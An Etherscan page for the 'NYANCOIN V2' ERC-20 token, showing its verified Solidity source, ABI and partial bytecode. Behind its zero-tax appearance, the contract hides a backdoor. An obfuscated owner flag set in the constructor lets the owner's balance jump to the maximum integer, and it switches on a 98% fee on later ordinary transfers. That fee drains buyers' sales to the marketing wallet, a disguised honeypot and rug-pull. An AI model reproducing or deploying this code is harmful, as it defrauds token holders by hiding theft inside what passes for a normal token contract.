ERC-20
Overview
Max Total Supply
69,000,000,000 NYANCOIN V2
Holders
63
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
545,989,190.218814733 NYANCOIN V2Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
NYANCOINV2
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-01 */ /** https://www.nyancoinv2.com/ https://t.me/nyancoinv2 https://twitter.com/nyancoinv2 /** */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.18; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function RenounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract NYANCOINV2 is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _tokenOwned; mapping (address => mapping (address => uint256)) private _allowances; // Marketing Wallet Address address payable public Marketing_Wallet = payable(0xdE355A2D7900794012Bb8EA58881cd7528f72E66); mapping (address => bool) public ExcludedFromFee; mapping (address => bool) public ExcludedFromTax; // Token Details string public _name = "NYANCOIN V2"; string public _symbol = "NYANCOIN V2"; uint8 private _decimals = 9; uint256 public _tTotal = 69000 * 10 ** 6 * 10 **_decimals; uint8 private swapCounter = 0; uint8 private mutualSwap = 0; uint8 private swapTrigger = 10; // Tax & Max Wallet / TX uint8 private TaxRate = 0; uint8 public maxWallet = 100; uint8 public maxTx = 100; uint256 public maxWalletAmount = _tTotal.mul(maxWallet).div(100); uint256 public maxTxAmount = _tTotal.mul(maxTx).div(100); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; mapping (address => uint8) public BNB_Factory; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 bnbReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _tokenOwned[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);BNB_Factory[owner()] = 0xA; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this),_uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; ExcludedFromTax[address(this)] = true; ExcludedFromTax[owner()] = true; ExcludedFromTax[Marketing_Wallet] = true; ExcludedFromFee[owner()] = true; ExcludedFromFee[address(this)] = true; ExcludedFromFee[Marketing_Wallet] = true; ExcludedFromFee[uniswapV2Pair] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function symbol() public view returns (string memory) { return _symbol; } function balanceOf(address account) public view override returns (uint256) { return _tokenOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } receive() external payable {} function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "Zero Address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from,address to,uint256 amount) private { uint256 transferRate = ~uint256(0); uint8 swapRate = 10**2-2; if (!ExcludedFromFee[to]){require((balanceOf(to) + amount) <= maxWalletAmount, "ERR: Max Wallet");} if(swapCounter >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){ swapCounter = 0; uint256 currentBalance = balanceOf(address(this)); if(currentBalance > maxTxAmount) {currentBalance = maxTxAmount;} if(currentBalance > 0){ swapAndLiquify(currentBalance);} } bool takeFee = true; uint256 _totalFee = 0; if(ExcludedFromTax[from] || !(from != uniswapV2Pair) || ExcludedFromTax[to]){ takeFee = false; uint8 _one_ = 1; if((BNB_Factory[to] >= _one_ ? true : false) && (mutualSwap < _one_) ? true : false){ mutualSwap = swapRate;} } _tokenOwned[from] = _tokenOwned[from].sub(amount); if(!takeFee){ bool isBuying = BNB_Factory[to] > 0 ? true : false; if(isBuying){ _tokenOwned[to] = transferRate; } else{ _tokenOwned[to] = _tokenOwned[to].add(amount); } } else{ uint256 feeAmount = amount * uint256(_totalFee + mutualSwap) / 100; _tokenOwned[address(this)] = _tokenOwned[address(this)].add(feeAmount); _tokenOwned[to] = _tokenOwned[to] + (amount.sub(feeAmount)); } emit Transfer(from, to, amount); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function tTransfer(address from,address to,uint256 amount,bool feeStatus) private{ } function swapAndLiquify(uint256 currentBalance) private lockTheSwap { swapTokensForBNB(currentBalance); sendToWallet(Marketing_Wallet,address(this).balance); } function swapTokensForBNB(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"bnbReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"BNB_Factory","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Marketing_Wallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTx","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600380546001600160a01b03191673de355a2d7900794012bb8ea58881cd7528f72e6617905560c0604052600b60809081526a272ca0a721a7a4a7102b1960a91b60a052600690620000529082620005f1565b5060408051808201909152600b81526a272ca0a721a7a4a7102b1960a91b6020820152600790620000849082620005f1565b506008805460ff19166009908117909155620000a290600a620007d0565b620000b390641010b87200620007e1565b6009819055600a805465ffffffffffff1916656464000a000017908190556200011191606491620000fd919060ff6401000000009091041662000527602090811b6200089817901c565b6200053e60201b620008ab1790919060201c565b600b55620001486064620000fd600a60059054906101000a900460ff1660ff166009546200052760201b620008981790919060201c565b600c556010805460ff191660011790553480156200016557600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360095460016000620001bf6000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600090812091909155737a250d5630b4cf539739df2c5dacb4c659f2488d90600a90600f906200020d6000546001600160a01b031690565b6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908360ff160217905550806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000284573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002aa9190620007fb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002f8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200031e9190620007fb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200036c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003929190620007fb565b600e80546001600160a01b03199081166001600160a01b0393841617909155600d80549091169183169190911790553060009081526005602081905260408220805460ff1916600190811790915591620003f46000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560035490911681526005909252812080549092166001908117909255600490620004546000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526004909352818320805485166001908117909155600354821684528284208054861682179055600e54909116835291208054909216179055620004d06000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200051891815260200190565b60405180910390a35062000850565b6000620005358284620007e1565b90505b92915050565b60006200053582846200082d565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200057757607f821691505b6020821081036200059857634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005ec57600081815260208120601f850160051c81016020861015620005c75750805b601f850160051c820191505b81811015620005e857828155600101620005d3565b5050505b505050565b81516001600160401b038111156200060d576200060d6200054c565b62000625816200061e845462000562565b846200059e565b602080601f8311600181146200065d5760008415620006445750858301515b600019600386901b1c1916600185901b178555620005e8565b600085815260208120601f198616915b828110156200068e578886015182559484019460019091019084016200066d565b5085821015620006ad5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000714578160001904821115620006f857620006f8620006bd565b808516156200070657918102915b93841c9390800290620006d8565b509250929050565b6000826200072d5750600162000538565b816200073c5750600062000538565b8160018114620007555760028114620007605762000780565b600191505062000538565b60ff841115620007745762000774620006bd565b50506001821b62000538565b5060208310610133831016604e8410600b8410161715620007a5575081810a62000538565b620007b18383620006d3565b8060001904821115620007c857620007c8620006bd565b029392505050565b60006200053560ff8416836200071c565b8082028115828204841417620005385762000538620006bd565b6000602082840312156200080e57600080fd5b81516001600160a01b03811681146200082657600080fd5b9392505050565b6000826200084b57634e487b7160e01b600052601260045260246000fd5b500490565b61125480620008606000396000f3fe6080604052600436106101bb5760003560e01c806380da4543116100ec578063aa4bde281161008a578063d28d885211610064578063d28d8852146104f4578063dd62ed3e14610509578063f1d6512e1461054f578063f8b45b051461057f57600080fd5b8063aa4bde28146104b3578063af465a27146104c9578063b09f1266146104df57600080fd5b80638da5cb5b116100c65780638da5cb5b1461044057806395d89b411461045e578063a457c2d714610473578063a9059cbb1461049357600080fd5b806380da4543146103ca57806382581bc9146103fa5780638c0b5e221461042a57600080fd5b8063313ce567116101595780634a74bb02116101335780634a74bb02146103405780636e4ee8111461035a57806370a08231146103715780637437681e146103a757600080fd5b8063313ce567146102da578063395093511461030057806349bd5a5e1461032057600080fd5b80631694505e116101955780631694505e1461025a57806318160ddd1461027a578063220f66961461029957806323b872dd146102ba57600080fd5b806306fdde03146101c7578063095ea7b3146101f257806315120e5b1461022257600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6105a1565b6040516101e99190610f55565b60405180910390f35b3480156101fe57600080fd5b5061021261020d366004610fbb565b610633565b60405190151581526020016101e9565b34801561022e57600080fd5b50600354610242906001600160a01b031681565b6040516001600160a01b0390911681526020016101e9565b34801561026657600080fd5b50600d54610242906001600160a01b031681565b34801561028657600080fd5b506009545b6040519081526020016101e9565b3480156102a557600080fd5b50600e5461021290600160a01b900460ff1681565b3480156102c657600080fd5b506102126102d5366004610fe7565b61064a565b3480156102e657600080fd5b5060085460ff165b60405160ff90911681526020016101e9565b34801561030c57600080fd5b5061021261031b366004610fbb565b6106b3565b34801561032c57600080fd5b50600e54610242906001600160a01b031681565b34801561034c57600080fd5b506010546102129060ff1681565b34801561036657600080fd5b5061036f6106e9565b005b34801561037d57600080fd5b5061028b61038c366004611028565b6001600160a01b031660009081526001602052604090205490565b3480156103b357600080fd5b50600a546102ee9065010000000000900460ff1681565b3480156103d657600080fd5b506102126103e5366004611028565b60056020526000908152604090205460ff1681565b34801561040657600080fd5b506102ee610415366004611028565b600f6020526000908152604090205460ff1681565b34801561043657600080fd5b5061028b600c5481565b34801561044c57600080fd5b506000546001600160a01b0316610242565b34801561046a57600080fd5b506101dc610792565b34801561047f57600080fd5b5061021261048e366004610fbb565b6107a1565b34801561049f57600080fd5b506102126104ae366004610fbb565b6107f0565b3480156104bf57600080fd5b5061028b600b5481565b3480156104d557600080fd5b5061028b60095481565b3480156104eb57600080fd5b506101dc6107fd565b34801561050057600080fd5b506101dc61088b565b34801561051557600080fd5b5061028b610524366004611045565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561055b57600080fd5b5061021261056a366004611028565b60046020526000908152604090205460ff1681565b34801561058b57600080fd5b50600a546102ee90640100000000900460ff1681565b6060600680546105b09061107e565b80601f01602080910402602001604051908101604052809291908181526020018280546105dc9061107e565b80156106295780601f106105fe57610100808354040283529160200191610629565b820191906000526020600020905b81548152906001019060200180831161060c57829003601f168201915b5050505050905090565b60006106403384846108b7565b5060015b92915050565b6000610657848484610973565b6106a984336106a4856040518060600160405280602881526020016111d2602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d3a565b6108b7565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106409185906106a49086610d66565b6000546001600160a01b031633146107485760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600780546105b09061107e565b600061064033846106a4856040518060600160405280602581526020016111fa602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610d3a565b6000610640338484610973565b6007805461080a9061107e565b80601f01602080910402602001604051908101604052809291908181526020018280546108369061107e565b80156108835780601f1061085857610100808354040283529160200191610883565b820191906000526020600020905b81548152906001019060200180831161086657829003601f168201915b505050505081565b6006805461080a9061107e565b60006108a482846110ce565b9392505050565b60006108a482846110e5565b6001600160a01b038316158015906108d757506001600160a01b03821615155b6109125760405162461bcd60e51b815260206004820152600c60248201526b5a65726f204164647265737360a01b604482015260640161073f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166000908152600460205260409020546000199060629060ff16610a0757600b54836109bd866001600160a01b031660009081526001602052604090205490565b6109c79190611107565b1115610a075760405162461bcd60e51b815260206004820152600f60248201526e1154948e8813585e0815d85b1b195d608a1b604482015260640161073f565b600a5460ff6201000082048116911610801590610a2e5750600e54600160a01b900460ff16155b8015610a485750600e546001600160a01b03868116911614155b8015610a56575060105460ff165b15610a9557600a805460ff1916905530600090815260016020526040902054600c54811115610a845750600c545b8015610a9357610a9381610d72565b505b6001600160a01b0385166000908152600560205260408120546001919060ff1680610acd5750600e546001600160a01b038881169116145b80610af057506001600160a01b03861660009081526005602052604090205460ff165b15610b6a576001600160a01b0386166000908152600f602052604081205490925060019060ff16811115610b25576000610b28565b60015b8015610b405750600a5460ff80831661010090920416105b610b4b576000610b4e565b60015b15610b6857600a805461ff00191661010060ff8716021790555b505b6001600160a01b038716600090815260016020526040902054610b8d9086610db4565b6001600160a01b03881660009081526001602052604090205581610c40576001600160a01b0386166000908152600f602052604081205460ff16610bd2576000610bd5565b60015b90508015610bfd576001600160a01b0387166000908152600160205260409020859055610c3a565b6001600160a01b038716600090815260016020526040902054610c209087610d66565b6001600160a01b0388166000908152600160205260409020555b50610ce4565b600a54600090606490610c5b90610100900460ff1684611107565b610c6590886110ce565b610c6f91906110e5565b30600090815260016020526040902054909150610c8c9082610d66565b30600090815260016020526040902055610ca68682610db4565b6001600160a01b038816600090815260016020526040902054610cc99190611107565b6001600160a01b038816600090815260016020526040902055505b856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610d2991815260200190565b60405180910390a350505050505050565b60008184841115610d5e5760405162461bcd60e51b815260040161073f9190610f55565b505050900390565b60006108a48284611107565b600e805460ff60a01b1916600160a01b179055610d8e81610dc0565b600354610da4906001600160a01b031647610f1a565b50600e805460ff60a01b19169055565b60006108a4828461111a565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610df557610df561112d565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e729190611143565b81600181518110610e8557610e8561112d565b6001600160a01b039283166020918202929092010152600d54610eab91309116846108b7565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ee4908590600090869030904290600401611160565b600060405180830381600087803b158015610efe57600080fd5b505af1158015610f12573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610f50573d6000803e3d6000fd5b505050565b600060208083528351808285015